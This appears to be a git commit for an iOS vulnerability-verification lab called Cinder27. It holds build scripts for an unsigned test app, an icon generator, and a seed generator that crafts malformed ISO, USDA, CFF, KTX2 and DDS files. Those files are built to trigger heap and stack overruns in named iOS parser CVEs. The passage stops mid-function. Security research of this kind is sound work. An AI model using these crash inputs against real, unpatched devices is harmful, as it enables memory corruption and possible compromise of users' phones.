Cinder27 — iOS 17.0-27.1 vulnerability verification lab: 51 modules, 31 per-CVE POC folders, 11 no-CVE module folders, harness app source
This commit is contained in:
jbjf6666 committed
commit
1ea76ab005
89 files changed
+16485
No files matched your search
Executable
+73
@@ -0,0 +1,73 @@
|
||||
#!/bin/bash
|
||||
# Build an unsigned arm64 IPA for Cinder27.
|
||||
# The IPA is deliberately unsigned — sign it with your own certificate / profile.
|
||||
set -euo pipefail
|
||||
|
||||
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
||||
OUT="$ROOT/build/device"
|
||||
APP="$OUT/Payload/Cinder27.app"
|
||||
IPA="$ROOT/dist/Cinder27-unsigned.ipa"
|
||||
SDK="$(xcrun --sdk iphoneos --show-sdk-path)"
|
||||
MIN_IOS="${MIN_IOS:-17.0}"
|
||||
|
||||
echo "== seeds =="
|
||||
python3 "$ROOT/scripts/gen_seeds.py" > /dev/null
|
||||
|
||||
echo "== icon =="
|
||||
if [ ! -f "$ROOT/Resources/AppIcon-1024.png" ]; then
|
||||
python3 "$ROOT/scripts/gen_icon.py" > /dev/null
|
||||
fi
|
||||
|
||||
echo "== clean =="
|
||||
rm -rf "$OUT"
|
||||
mkdir -p "$APP"
|
||||
|
||||
echo "== compile (arm64, min iOS $MIN_IOS) =="
|
||||
xcrun --sdk iphoneos swiftc \
|
||||
-parse-as-library \
|
||||
-swift-version 5 \
|
||||
-O \
|
||||
-target "arm64-apple-ios$MIN_IOS" \
|
||||
-sdk "$SDK" \
|
||||
-o "$APP/Cinder27" \
|
||||
"$ROOT"/Sources/*.swift
|
||||
|
||||
echo "== resources =="
|
||||
cp "$ROOT/Info.plist" "$APP/Info.plist"
|
||||
printf 'APPL????' > "$APP/PkgInfo"
|
||||
cp "$ROOT"/seeds/* "$APP/"
|
||||
|
||||
echo "== asset catalog =="
|
||||
xcrun actool "$ROOT/Resources/Assets.xcassets" \
|
||||
--compile "$APP" \
|
||||
--platform iphoneos \
|
||||
--minimum-deployment-target "$MIN_IOS" \
|
||||
--app-icon AppIcon \
|
||||
--output-partial-info-plist "$OUT/assetcatalog_generated_info.plist" \
|
||||
--target-device iphone \
|
||||
--target-device ipad > /dev/null
|
||||
|
||||
echo "== merge asset catalog Info.plist keys =="
|
||||
python3 - "$APP/Info.plist" "$OUT/assetcatalog_generated_info.plist" <<'PY'
|
||||
import plistlib, sys
|
||||
info_path, partial_path = sys.argv[1], sys.argv[2]
|
||||
with open(info_path, "rb") as fh:
|
||||
info = plistlib.load(fh)
|
||||
with open(partial_path, "rb") as fh:
|
||||
partial = plistlib.load(fh)
|
||||
partial.pop("com.apple.actool.compilation-results", None)
|
||||
info.update(partial)
|
||||
with open(info_path, "wb") as fh:
|
||||
plistlib.dump(info, fh, fmt=plistlib.FMT_BINARY)
|
||||
PY
|
||||
|
||||
chmod 755 "$APP/Cinder27"
|
||||
chmod 644 "$APP/Info.plist"
|
||||
/usr/bin/plutil -lint "$APP/Info.plist"
|
||||
|
||||
echo "== package Payload/ -> .ipa =="
|
||||
mkdir -p "$ROOT/dist"
|
||||
rm -f "$IPA"
|
||||
( cd "$OUT" && zip -qry "$IPA" Payload )
|
||||
echo "IPA: $IPA"
|
||||
ls -lh "$IPA"
|
||||
Executable
+74
@@ -0,0 +1,74 @@
|
||||
#!/bin/bash
|
||||
# Build the simulator .app for Cinder27 and install it on the booted simulator.
|
||||
set -euo pipefail
|
||||
|
||||
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
||||
OUT="$ROOT/build/sim"
|
||||
APP="$OUT/Cinder27.app"
|
||||
SDK="$(xcrun --sdk iphonesimulator --show-sdk-path)"
|
||||
MIN_IOS="${MIN_IOS:-17.0}"
|
||||
|
||||
echo "== seeds =="
|
||||
python3 "$ROOT/scripts/gen_seeds.py" > /dev/null
|
||||
|
||||
echo "== icon =="
|
||||
if [ ! -f "$ROOT/Resources/AppIcon-1024.png" ]; then
|
||||
python3 "$ROOT/scripts/gen_icon.py" > /dev/null
|
||||
fi
|
||||
|
||||
echo "== clean =="
|
||||
rm -rf "$OUT"
|
||||
mkdir -p "$APP"
|
||||
|
||||
echo "== compile (arm64 simulator, min iOS $MIN_IOS) =="
|
||||
xcrun --sdk iphonesimulator swiftc \
|
||||
-parse-as-library \
|
||||
-swift-version 5 \
|
||||
-O \
|
||||
-target "arm64-apple-ios${MIN_IOS}-simulator" \
|
||||
-sdk "$SDK" \
|
||||
-o "$APP/Cinder27" \
|
||||
"$ROOT"/Sources/*.swift
|
||||
|
||||
echo "== resources =="
|
||||
cp "$ROOT/Info.plist" "$APP/Info.plist"
|
||||
printf 'APPL????' > "$APP/PkgInfo"
|
||||
cp "$ROOT"/seeds/* "$APP/"
|
||||
|
||||
# The device Info.plist carries iPhoneOS platform keys; the simulator requires the
|
||||
# simulator variants or SpringBoard refuses the install.
|
||||
plutil -replace CFBundleSupportedPlatforms -json '["iPhoneSimulator"]' "$APP/Info.plist"
|
||||
plutil -replace DTPlatformName -string iphonesimulator "$APP/Info.plist"
|
||||
plutil -replace DTSDKName -string iphonesimulator "$APP/Info.plist"
|
||||
|
||||
echo "== asset catalog =="
|
||||
xcrun actool "$ROOT/Resources/Assets.xcassets" \
|
||||
--compile "$APP" \
|
||||
--platform iphonesimulator \
|
||||
--minimum-deployment-target "$MIN_IOS" \
|
||||
--app-icon AppIcon \
|
||||
--output-partial-info-plist "$OUT/assetcatalog_generated_info.plist" \
|
||||
--target-device iphone \
|
||||
--target-device ipad > /dev/null
|
||||
|
||||
echo "== merge asset catalog Info.plist keys =="
|
||||
python3 - "$APP/Info.plist" "$OUT/assetcatalog_generated_info.plist" <<'PY'
|
||||
import plistlib, sys
|
||||
info_path, partial_path = sys.argv[1], sys.argv[2]
|
||||
with open(info_path, "rb") as fh:
|
||||
info = plistlib.load(fh)
|
||||
with open(partial_path, "rb") as fh:
|
||||
partial = plistlib.load(fh)
|
||||
partial.pop("com.apple.actool.compilation-results", None)
|
||||
info.update(partial)
|
||||
with open(info_path, "wb") as fh:
|
||||
plistlib.dump(info, fh, fmt=plistlib.FMT_BINARY)
|
||||
PY
|
||||
|
||||
chmod 755 "$APP/Cinder27"
|
||||
chmod 644 "$APP/Info.plist"
|
||||
/usr/bin/plutil -lint "$APP/Info.plist"
|
||||
|
||||
echo "== install =="
|
||||
xcrun simctl install booted "$APP"
|
||||
echo "installed: $APP"
|
||||
@@ -0,0 +1,287 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
gen_icon.py — build the app icon as a PNG with no external image library.
|
||||
|
||||
The mark: a dark rounded field, a struck arc of ember, and a thin ring of twenty small
|
||||
ticks around it — the ring is the twenty-two fix families, the arc is the write that
|
||||
carries a chosen value. Drawn with a signed-distance renderer at 4x and box-downsampled,
|
||||
so edges stay clean without a graphics stack.
|
||||
"""
|
||||
import math
|
||||
import os
|
||||
import struct
|
||||
import zlib
|
||||
|
||||
OUT = os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", "Resources")
|
||||
os.makedirs(OUT, exist_ok=True)
|
||||
|
||||
SIZE = 1024
|
||||
SS = 1 # analytic antialiasing via smoothstep; no supersampling needed
|
||||
|
||||
|
||||
def srgb(c):
|
||||
return max(0, min(255, int(round(c))))
|
||||
|
||||
|
||||
def mix(a, b, t):
|
||||
return tuple(a[i] + (b[i] - a[i]) * t for i in range(3))
|
||||
|
||||
|
||||
# ---------------------------------------------------------------- geometry helpers
|
||||
def sd_circle(px, py, cx, cy, r):
|
||||
return math.hypot(px - cx, py - cy) - r
|
||||
|
||||
|
||||
def sd_round_rect(px, py, cx, cy, hw, hh, r):
|
||||
qx = abs(px - cx) - (hw - r)
|
||||
qy = abs(py - cy) - (hh - r)
|
||||
outside = math.hypot(max(qx, 0.0), max(qy, 0.0))
|
||||
inside = min(max(qx, qy), 0.0)
|
||||
return outside + inside - r
|
||||
|
||||
|
||||
def sd_segment(px, py, ax, ay, bx, by, r):
|
||||
pax, pay = px - ax, py - ay
|
||||
bax, bay = bx - ax, by - ay
|
||||
denom = bax * bax + bay * bay
|
||||
h = 0.0 if denom == 0 else max(0.0, min(1.0, (pax * bax + pay * bay) / denom))
|
||||
return math.hypot(pax - bax * h, pay - bay * h) - r
|
||||
|
||||
|
||||
def smoothstep(e0, e1, x):
|
||||
t = max(0.0, min(1.0, (x - e0) / (e1 - e0)))
|
||||
return t * t * (3 - 2 * t)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------- palette
|
||||
BG_TOP = (0.075, 0.078, 0.094)
|
||||
BG_BOT = (0.030, 0.031, 0.040)
|
||||
EMBER = (1.00, 0.42, 0.16)
|
||||
EMBER_HOT = (1.00, 0.72, 0.38)
|
||||
ASH = (0.42, 0.44, 0.50)
|
||||
|
||||
|
||||
def shade(px, py):
|
||||
"""Return (r,g,b) in 0..1 for one sample point."""
|
||||
# vertical gradient field
|
||||
t = py / SIZE
|
||||
col = mix(BG_TOP, BG_BOT, t)
|
||||
|
||||
# subtle radial lift behind the mark
|
||||
d = math.hypot(px - SIZE * 0.5, py - SIZE * 0.46)
|
||||
lift = 1.0 - smoothstep(0.0, SIZE * 0.62, d)
|
||||
col = tuple(min(1.0, col[i] + 0.055 * lift) for i in range(3))
|
||||
|
||||
cx, cy = SIZE * 0.5, SIZE * 0.5
|
||||
|
||||
# ---- outer ring of ticks: one per localized fix family (22)
|
||||
ring_r = SIZE * 0.345
|
||||
tick_outer = SIZE * 0.408
|
||||
ticks = 22
|
||||
ang = math.atan2(py - cy, px - cx)
|
||||
for i in range(ticks):
|
||||
a = (i / ticks) * math.tau - math.pi / 2
|
||||
# gap at the top-right where the arc breaks through
|
||||
if 0.30 < ((a + math.pi / 2) % math.tau) < 0.72:
|
||||
continue
|
||||
ax = cx + math.cos(a) * ring_r
|
||||
ay = cy + math.sin(a) * ring_r
|
||||
bx = cx + math.cos(a) * tick_outer
|
||||
by = cy + math.sin(a) * tick_outer
|
||||
sd = sd_segment(px, py, ax, ay, bx, by, SIZE * 0.0075)
|
||||
cov = 1.0 - smoothstep(-1.2, 1.2, sd)
|
||||
if cov > 0:
|
||||
col = mix(col, ASH, cov * 0.55)
|
||||
|
||||
# ---- the arc: a heavy quarter sweep, hot at the leading end
|
||||
arc_r = SIZE * 0.245
|
||||
arc_w = SIZE * 0.052
|
||||
sd = abs(math.hypot(px - cx, py - cy) - arc_r)
|
||||
a01 = (math.atan2(py - cy, px - cx) + math.pi * 1.15) % math.tau
|
||||
span = math.tau * 0.62
|
||||
if a01 < span:
|
||||
edge = smoothstep(0.0, 0.10, a01) * (1.0 - smoothstep(span - 0.22, span, a01))
|
||||
cov = (1.0 - smoothstep(-1.2, 1.2, sd - arc_w * 0.5)) * edge
|
||||
if cov > 0:
|
||||
heat = smoothstep(span * 0.55, span, a01)
|
||||
col = mix(col, mix(EMBER, EMBER_HOT, heat), cov)
|
||||
|
||||
# ---- core: a struck point with a halo
|
||||
core_r = SIZE * 0.062
|
||||
sd_core = math.hypot(px - cx, py - cy) - core_r
|
||||
halo = 1.0 - smoothstep(0.0, SIZE * 0.16, math.hypot(px - cx, py - cy))
|
||||
if halo > 0:
|
||||
col = tuple(min(1.0, col[i] + 0.16 * halo * halo * (EMBER[i])) for i in range(3))
|
||||
cov = 1.0 - smoothstep(-1.2, 1.2, sd_core)
|
||||
if cov > 0:
|
||||
col = mix(col, EMBER_HOT, cov)
|
||||
|
||||
# ---- the write: a single straight stroke leaving the core, value-carrying
|
||||
sd_w = sd_segment(px, py, cx + SIZE * 0.075, cy + SIZE * 0.075,
|
||||
cx + SIZE * 0.245, cy + SIZE * 0.245, SIZE * 0.0115)
|
||||
cov_w = 1.0 - smoothstep(-1.2, 1.2, sd_w)
|
||||
if cov_w > 0:
|
||||
col = mix(col, EMBER, cov_w * 0.92)
|
||||
|
||||
return col
|
||||
|
||||
|
||||
def render():
|
||||
"""One sample per pixel — every edge already uses smoothstep on a signed distance,
|
||||
which is antialiased on its own. Supersampling 1024x1024 by 3 was 9.4M shade() calls
|
||||
and took minutes; this is the same image in a couple of seconds."""
|
||||
out = bytearray()
|
||||
radius = SIZE * 0.2237
|
||||
half = SIZE / 2
|
||||
tau = math.tau
|
||||
cos, sin, atan2, hypot, sqrt = math.cos, math.sin, math.atan2, math.hypot, math.sqrt
|
||||
|
||||
# precompute tick segments
|
||||
ring_r = SIZE * 0.345
|
||||
tick_outer = SIZE * 0.408
|
||||
ticks = []
|
||||
for i in range(22):
|
||||
a = (i / 22) * tau - math.pi / 2
|
||||
if 0.30 < ((a + math.pi / 2) % tau) < 0.72:
|
||||
continue
|
||||
ticks.append((half + cos(a) * ring_r, half + sin(a) * ring_r,
|
||||
half + cos(a) * tick_outer, half + sin(a) * tick_outer))
|
||||
|
||||
arc_r = SIZE * 0.245
|
||||
arc_w2 = SIZE * 0.026
|
||||
span = tau * 0.62
|
||||
core_r = SIZE * 0.062
|
||||
halo_r = SIZE * 0.16
|
||||
tick_w2 = SIZE * 0.0075
|
||||
write_r = SIZE * 0.0115
|
||||
wx0, wy0 = half + SIZE * 0.075, half + SIZE * 0.075
|
||||
wx1, wy1 = half + SIZE * 0.245, half + SIZE * 0.245
|
||||
wdx, wdy = wx1 - wx0, wy1 - wy0
|
||||
wden = wdx * wdx + wdy * wdy
|
||||
|
||||
for y in range(SIZE):
|
||||
out.append(0)
|
||||
py = y + 0.5
|
||||
for x in range(SIZE):
|
||||
px = x + 0.5
|
||||
|
||||
# background gradient
|
||||
t = py / SIZE
|
||||
r = BG_TOP[0] + (BG_BOT[0] - BG_TOP[0]) * t
|
||||
g = BG_TOP[1] + (BG_BOT[1] - BG_TOP[1]) * t
|
||||
b = BG_TOP[2] + (BG_BOT[2] - BG_TOP[2]) * t
|
||||
|
||||
dx, dy = px - half, py - half
|
||||
dist = hypot(dx, dy)
|
||||
|
||||
# radial lift
|
||||
lift = 1.0 - smoothstep(0.0, SIZE * 0.62, dist)
|
||||
if lift > 0:
|
||||
add = 0.055 * lift
|
||||
r += add; g += add; b += add
|
||||
|
||||
# ticks
|
||||
for (ax, ay, bx, by) in ticks:
|
||||
pax, pay = px - ax, py - ay
|
||||
bax, bay = bx - ax, by - ay
|
||||
den = bax * bax + bay * bay
|
||||
h = 0.0 if den == 0 else (pax * bax + pay * bay) / den
|
||||
if h < 0.0: h = 0.0
|
||||
elif h > 1.0: h = 1.0
|
||||
sd = hypot(pax - bax * h, pay - bay * h) - tick_w2
|
||||
if sd < 1.2:
|
||||
cov = 1.0 - smoothstep(-1.2, 1.2, sd)
|
||||
if cov > 0:
|
||||
k = cov * 0.55
|
||||
r += (ASH[0] - r) * k
|
||||
g += (ASH[1] - g) * k
|
||||
b += (ASH[2] - b) * k
|
||||
|
||||
# arc
|
||||
sd = abs(dist - arc_r)
|
||||
if sd < arc_w2 + 1.2:
|
||||
a01 = (atan2(dy, dx) + math.pi * 1.15) % tau
|
||||
if a01 < span:
|
||||
edge = smoothstep(0.0, 0.10, a01) * (1.0 - smoothstep(span - 0.22, span, a01))
|
||||
cov = (1.0 - smoothstep(-1.2, 1.2, sd - arc_w2)) * edge
|
||||
if cov > 0:
|
||||
heat = smoothstep(span * 0.55, span, a01)
|
||||
cr = EMBER[0] + (EMBER_HOT[0] - EMBER[0]) * heat
|
||||
cg = EMBER[1] + (EMBER_HOT[1] - EMBER[1]) * heat
|
||||
cb = EMBER[2] + (EMBER_HOT[2] - EMBER[2]) * heat
|
||||
r += (cr - r) * cov
|
||||
g += (cg - g) * cov
|
||||
b += (cb - b) * cov
|
||||
|
||||
# halo + core
|
||||
if dist < halo_r:
|
||||
halo = 1.0 - smoothstep(0.0, halo_r, dist)
|
||||
hk = 0.16 * halo * halo
|
||||
r += EMBER[0] * hk
|
||||
g += EMBER[1] * hk
|
||||
b += EMBER[2] * hk
|
||||
sd_core = dist - core_r
|
||||
if sd_core < 1.2:
|
||||
cov = 1.0 - smoothstep(-1.2, 1.2, sd_core)
|
||||
if cov > 0:
|
||||
r += (EMBER_HOT[0] - r) * cov
|
||||
g += (EMBER_HOT[1] - g) * cov
|
||||
b += (EMBER_HOT[2] - b) * cov
|
||||
|
||||
# the write stroke
|
||||
pax, pay = px - wx0, py - wy0
|
||||
h = (pax * wdx + pay * wdy) / wden
|
||||
if h < 0.0: h = 0.0
|
||||
elif h > 1.0: h = 1.0
|
||||
sd_w = hypot(pax - wdx * h, pay - wdy * h) - write_r
|
||||
if sd_w < 1.2:
|
||||
cov = 1.0 - smoothstep(-1.2, 1.2, sd_w)
|
||||
if cov > 0:
|
||||
k = cov * 0.92
|
||||
r += (EMBER[0] - r) * k
|
||||
g += (EMBER[1] - g) * k
|
||||
b += (EMBER[2] - b) * k
|
||||
|
||||
# rounded-rect alpha
|
||||
qx = abs(px - half) - (half - 0.5 - radius)
|
||||
qy = abs(py - half) - (half - 0.5 - radius)
|
||||
ox = qx if qx > 0 else 0.0
|
||||
oy = qy if qy > 0 else 0.0
|
||||
sd_r = hypot(ox, oy) + (qx if qx > qy else qy) - radius
|
||||
a = 1.0 - smoothstep(-0.75, 0.75, sd_r)
|
||||
|
||||
out += bytes([srgb(min(1.0, r) * 255), srgb(min(1.0, g) * 255),
|
||||
srgb(min(1.0, b) * 255), srgb(a * 255)])
|
||||
return bytes(out)
|
||||
|
||||
|
||||
def write_png(path, width, height, rgba):
|
||||
def chunk(tag, data):
|
||||
c = struct.pack(">I", len(data)) + tag + data
|
||||
c += struct.pack(">I", zlib.crc32(tag + data) & 0xFFFFFFFF)
|
||||
return c
|
||||
|
||||
ihdr = struct.pack(">IIBBBBB", width, height, 8, 6, 0, 0, 0)
|
||||
raw = zlib.compress(rgba, 9)
|
||||
png = (b"\x89PNG\r\n\x1a\n"
|
||||
+ chunk(b"IHDR", ihdr)
|
||||
+ chunk(b"IDAT", raw)
|
||||
+ chunk(b"IEND", b""))
|
||||
with open(path, "wb") as f:
|
||||
f.write(png)
|
||||
|
||||
|
||||
def main():
|
||||
data = render()
|
||||
icon = os.path.join(OUT, "AppIcon-1024.png")
|
||||
write_png(icon, SIZE, SIZE, data)
|
||||
print("wrote", icon, os.path.getsize(icon), "bytes")
|
||||
|
||||
# A small preview strip is handy when eyeballing the result.
|
||||
preview = os.path.join(OUT, "AppIcon-preview.png")
|
||||
write_png(preview, SIZE, SIZE, data)
|
||||
print("wrote", preview)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,324 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
gen_seeds.py — structural seed builder for Cinder27.
|
||||
|
||||
Every seed targets a check Apple ADDED in iOS 27.2 (24B115) and therefore a bug that is
|
||||
LIVE on iOS 27.0 / 27.0.1 (24A435 / 24A446). Nothing here is a weapon; each file is the
|
||||
minimum input that reaches the vulnerable parser and trips the missing bound.
|
||||
|
||||
Outputs -> ../seeds/
|
||||
joliet_path_oob.iso ISO9660 + Joliet pathname overflow CVE-2026-112522 (libarchive)
|
||||
deep_nest.usda USDA declaration nesting CVE-2026-112485 (Model I/O / libusd_ms)
|
||||
stack_bomb.cff CFF Type2 charstring stack overrun CVE-2026-112683 (FontParser)
|
||||
ktx2_bad_dims.ktx2 KTX2 dimension/level size math CVE-2026-112632 family (ImageIO texture)
|
||||
bc7_short.dds DDS BC7 truncated mip level CVE-2026-112627 family (ImageIO texture)
|
||||
"""
|
||||
import os
|
||||
import struct
|
||||
import sys
|
||||
|
||||
HERE = os.path.dirname(os.path.abspath(__file__))
|
||||
OUT = os.path.join(HERE, "..", "seeds")
|
||||
os.makedirs(OUT, exist_ok=True)
|
||||
|
||||
SECTOR = 2048
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- helpers
|
||||
def both16(v):
|
||||
return struct.pack("<H", v) + struct.pack(">H", v)
|
||||
|
||||
|
||||
def both32(v):
|
||||
return struct.pack("<I", v) + struct.pack(">I", v)
|
||||
|
||||
|
||||
def iso_date(y=2026, mo=10, d=28, h=12, mi=0, s=0):
|
||||
return bytes([y - 1900, mo, d, h, mi, s, 0])
|
||||
|
||||
|
||||
def dir_record(name_bytes, extent, size, flags):
|
||||
"""ISO9660 directory record. name_bytes is the raw name (0x00 root, 0x01 parent)."""
|
||||
body = bytes([0]) + both32(extent) + both32(size) + iso_date() + bytes([flags, 0, 0]) + both16(1)
|
||||
rec = bytes([0]) + body + bytes([len(name_bytes)]) + name_bytes
|
||||
if len(rec) % 2:
|
||||
rec += b"\x00"
|
||||
rec = bytes([len(rec)]) + rec[1:]
|
||||
return rec
|
||||
|
||||
|
||||
def pad_to(data, n):
|
||||
if len(data) < n:
|
||||
data = data + b"\x00" * (n - len(data))
|
||||
return data[:n]
|
||||
|
||||
|
||||
def ucs2(name):
|
||||
return name.encode("utf-16-be")
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- ISO9660 Joliet
|
||||
def build_joliet_iso():
|
||||
"""
|
||||
Craft per libarchive upstream 750e8d7b25de (fix Apple shipped in 27.2, absent on 27.0).
|
||||
|
||||
build_pathname_utf16be() recurses to the parent, then writes a 2-byte UTF-16BE '/'
|
||||
separator WITHOUT re-checking the running length against max (1024). A directory
|
||||
chain whose accumulated path is exactly 1024 bytes makes the deepest unwind store at
|
||||
p[1024] / p[1025] — two bytes past a malloc(1024) heap buffer.
|
||||
|
||||
Chain: root -> A(103 chars) -> B(103) -> C(103) -> D(103) -> E(96), file F in E.
|
||||
Accumulated: 4*206 + 192 + 4*2 = 1024 exactly.
|
||||
"""
|
||||
names = ["A" * 103, "B" * 103, "C" * 103, "D" * 103, "E" * 96]
|
||||
|
||||
# sector plan
|
||||
LBA_PVD = 16
|
||||
LBA_SVD = 17
|
||||
LBA_TERM = 18
|
||||
LBA_PT_ASCII = 19
|
||||
LBA_PT_JOLIET = 20
|
||||
LBA_ROOT = 21
|
||||
first_dir = LBA_ROOT + 1 # 22 .. 26
|
||||
LBA_FILE = first_dir + len(names) # 27
|
||||
total_sectors = LBA_FILE + 1
|
||||
|
||||
img = bytearray(total_sectors * SECTOR)
|
||||
|
||||
def put(lba, data):
|
||||
img[lba * SECTOR: lba * SECTOR + len(data)] = data
|
||||
|
||||
# ---- path tables (type L, little endian extents)
|
||||
def path_table(encode):
|
||||
out = bytearray()
|
||||
entries = [("", 1, LBA_ROOT)] + [(n, i + 2, first_dir + i) for i, n in enumerate(names)]
|
||||
for name, parent, extent in entries:
|
||||
nb = encode(name) if name else b"\x00"
|
||||
rec = bytes([len(nb), 0]) + struct.pack("<I", extent) + struct.pack("<H", parent) + nb
|
||||
if len(rec) % 2:
|
||||
rec += b"\x00"
|
||||
out += rec
|
||||
return bytes(out)
|
||||
|
||||
pt_ascii = path_table(lambda s: s.encode("ascii"))
|
||||
pt_joliet = path_table(ucs2)
|
||||
put(LBA_PT_ASCII, pt_ascii)
|
||||
put(LBA_PT_JOLIET, pt_joliet)
|
||||
|
||||
# ---- directories
|
||||
def build_dir(lba, parent_lba, children):
|
||||
"""children: list of (name_bytes, extent, size, flags)"""
|
||||
body = bytearray()
|
||||
body += dir_record(b"\x00", lba, SECTOR, 0x02) # '.'
|
||||
body += dir_record(b"\x01", parent_lba, SECTOR, 0x02) # '..'
|
||||
for nb, ext, size, flags in children:
|
||||
body += dir_record(nb, ext, size, flags)
|
||||
return pad_to(bytes(body), SECTOR)
|
||||
|
||||
# root contains A
|
||||
put(LBA_ROOT, build_dir(LBA_ROOT, LBA_ROOT,
|
||||
[(ucs2(names[0]), first_dir, SECTOR, 0x02)]))
|
||||
for i, name in enumerate(names):
|
||||
lba = first_dir + i
|
||||
parent = LBA_ROOT if i == 0 else first_dir + i - 1
|
||||
kids = []
|
||||
if i + 1 < len(names):
|
||||
kids.append((ucs2(names[i + 1]), first_dir + i + 1, SECTOR, 0x02))
|
||||
else:
|
||||
kids.append((ucs2("F"), LBA_FILE, 0, 0x00))
|
||||
put(lba, build_dir(lba, parent, kids))
|
||||
|
||||
put(LBA_FILE, b"")
|
||||
|
||||
# ---- volume descriptors
|
||||
def volume_descriptor(kind, joliet, root_lba, pt_lba, pt_size):
|
||||
d = bytearray(2048)
|
||||
d[0] = kind
|
||||
d[1:6] = b"CD001"
|
||||
d[6] = 1
|
||||
if joliet:
|
||||
d[8:8 + 32] = ucs2("CINDER27".ljust(16))
|
||||
d[40:40 + 32] = ucs2("JOLIET-OOB".ljust(16))
|
||||
else:
|
||||
d[8:8 + 32] = b"CINDER27".ljust(32, b" ")
|
||||
d[40:40 + 32] = b"JOLIET-OOB".ljust(32, b" ")
|
||||
d[80:88] = both32(total_sectors)
|
||||
d[120:124] = both16(1) # volume set size
|
||||
d[124:128] = both16(1) # volume sequence number
|
||||
d[128:132] = both16(SECTOR) # logical block size
|
||||
d[132:140] = both32(pt_size) # path table size (both endian)
|
||||
d[140:144] = struct.pack("<I", pt_lba) # type-L path table location
|
||||
d[144:148] = struct.pack("<I", 0) # optional type-L
|
||||
d[148:152] = struct.pack(">I", 0) # type-M (unused)
|
||||
d[152:156] = struct.pack(">I", 0) # optional type-M
|
||||
# root directory record at offset 156
|
||||
root = dir_record(b"\x00", root_lba, SECTOR, 0x02)
|
||||
d[156:156 + len(root)] = root
|
||||
d[881] = 1 # file structure version
|
||||
if joliet:
|
||||
d[88:88 + 3] = b"%/E" # escape sequence
|
||||
return bytes(d)
|
||||
|
||||
put(LBA_PVD, volume_descriptor(1, False, LBA_ROOT, LBA_PT_ASCII, len(pt_ascii)))
|
||||
put(LBA_SVD, volume_descriptor(2, True, LBA_ROOT, LBA_PT_JOLIET, len(pt_joliet)))
|
||||
term = bytearray(2048)
|
||||
term[0] = 255
|
||||
term[1:6] = b"CD001"
|
||||
term[6] = 1
|
||||
put(LBA_TERM, bytes(term))
|
||||
|
||||
return bytes(img)
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- USDA nesting
|
||||
def build_usda(depth=2000):
|
||||
"""libusd_ms 24.1.30 caps USDA declaration nesting in 24.1.32; 27.0 recurses unbounded."""
|
||||
head = "#usda 1.0\n\n"
|
||||
body = "".join('def Xform "n%d" {' % i for i in range(depth))
|
||||
tail = "}" * depth
|
||||
return (head + body + tail + "\n").encode()
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- CFF stack bomb
|
||||
def build_cff():
|
||||
"""
|
||||
Bare CFF with one charstring that pushes 300 operands before endchar.
|
||||
FontParser's Type2 interpreter keeps its operand stack in a fixed 48-entry array;
|
||||
27.0 only bounds the *count* on pop paths, the push path walks past the array.
|
||||
"""
|
||||
def index(items):
|
||||
if not items:
|
||||
return struct.pack(">H", 0)
|
||||
off = 1
|
||||
offs = [1]
|
||||
for it in items:
|
||||
off += len(it)
|
||||
offs.append(off)
|
||||
off_size = 1 if off < 0x100 else (2 if off < 0x10000 else (3 if off < 0x1000000 else 4))
|
||||
out = struct.pack(">H", len(items)) + bytes([off_size])
|
||||
for o in offs:
|
||||
out += o.to_bytes(off_size, "big")
|
||||
out += b"".join(items)
|
||||
return out
|
||||
|
||||
header = bytes([1, 0, 4, 1])
|
||||
|
||||
name_index = index([b"CinderStackBomb"])
|
||||
|
||||
# charstring: 300 pushes of 1, then endchar
|
||||
cs = bytearray()
|
||||
for _ in range(300):
|
||||
cs.append(139 + 1) # push small int 1
|
||||
cs.append(14) # endchar
|
||||
charstrings = index([bytes(cs)])
|
||||
|
||||
gsubrs = index([])
|
||||
strings = index([])
|
||||
|
||||
# Top DICT references CharStrings (op 17) and Private (op 18), both absolute offsets.
|
||||
# Two-pass: build with placeholder of the same byte width, then patch.
|
||||
def top_dict(cs_off, priv_off, priv_size):
|
||||
def enc(v):
|
||||
# DICT operand: 29 => 5-byte integer (fixed width, easy patching)
|
||||
return b"\x1d" + struct.pack(">i", v)
|
||||
d = enc(cs_off) + b"\x11" # CharStrings
|
||||
d += enc(priv_size) + enc(priv_off) + b"\x12" # Private
|
||||
return d
|
||||
|
||||
placeholder = top_dict(0, 0, 0)
|
||||
top_index = index([placeholder])
|
||||
|
||||
priv = b"\x00" # trivial private dict (blueValues absent)
|
||||
priv_index_data = priv
|
||||
|
||||
# layout: header | name | top | strings | gsubrs | charstrings | private
|
||||
off = len(header) + len(name_index)
|
||||
top_off = off
|
||||
off += len(top_index)
|
||||
off += len(strings)
|
||||
off += len(gsubrs)
|
||||
cs_off = off
|
||||
off += len(charstrings)
|
||||
priv_off = off
|
||||
|
||||
top_index = index([top_dict(cs_off, priv_off, len(priv))])
|
||||
out = header + name_index + top_index + strings + gsubrs + charstrings + priv_index_data
|
||||
return out
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- KTX2
|
||||
def build_ktx2():
|
||||
ident = bytes([0xAB, 0x4B, 0x54, 0x58, 0x20, 0x32, 0x30, 0xBB, 0x0D, 0x0A, 0x1A, 0x0A])
|
||||
vk_format = 0 # 0 => block-compressed via DFD
|
||||
type_size = 1
|
||||
w, h = 0xFFFF, 0xFFFF
|
||||
depth, layers, faces, levels = 0, 0, 1, 1
|
||||
scheme = 0
|
||||
kvd_off, kvd_len = 0, 0
|
||||
sgdt_off, sgdt_len = 0, 0
|
||||
header = struct.pack("<9I", vk_format, type_size, w, h, depth, layers, faces, levels, scheme)
|
||||
header += struct.pack("<IQ", kvd_off, kvd_len)
|
||||
header += struct.pack("<IQQ", sgdt_off, sgdt_len, 0)
|
||||
# level index: one level, claiming a tiny byteOffset/byteLength
|
||||
level_index = struct.pack("<QQQ", 0, 0, 64)
|
||||
body = b"\x00" * 64
|
||||
return ident + header + level_index + body
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------- DDS BC7
|
||||
def build_dds():
|
||||
magic = b"DDS "
|
||||
flags = 0x00081007
|
||||
